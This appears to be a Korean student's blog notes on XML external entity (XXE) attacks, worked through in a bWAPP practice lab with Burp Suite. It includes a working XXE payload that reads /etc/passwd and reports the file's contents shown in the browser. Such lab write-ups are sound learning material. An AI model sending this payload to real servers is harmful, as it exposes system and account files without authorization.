Web Hacking
Chapter 25 XML 외부 엔티티 공격
gayeon_
2022. 9. 29. 13:41
XML 외부 엔티티 공격은 SYSTEM 키워드를 사용한다.
SYSTEM 키워드로 XML 파서를 발생하게 하면 페이지의 내용을 대체하는 권한이 생긴다
=> 공격자는 XML 파서로 서버 시스템에 접근 가능!
xxe-1.php 실습 페이지다.
burp suite로 실습 페이지의 패킷을 가로챘다.
<?xml version="1.0" encoding="utf-8"?>
<DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///etc/passwd">
]>
<reset><login>&bWAPP;</login><secret>blash</secret></reset>
repeater로 요청을 보내 위 xml코드를 입력 후 send 해주었다.
send 후 요청, 응답 중 한 패널에서 'show response in browser' 메뉴를 클릭하면 URL을 볼 수 있다.
이 URL을 복사해 웹브라우저에 입력했더니 passwd 파일 안에 있는 내용을 웹 브라우저에 출력할 수 있었다.
이 xxe-2.php 페이지는 직접 접근이 불가능한 페이지지만 서버의 계정 정보를 출력한다.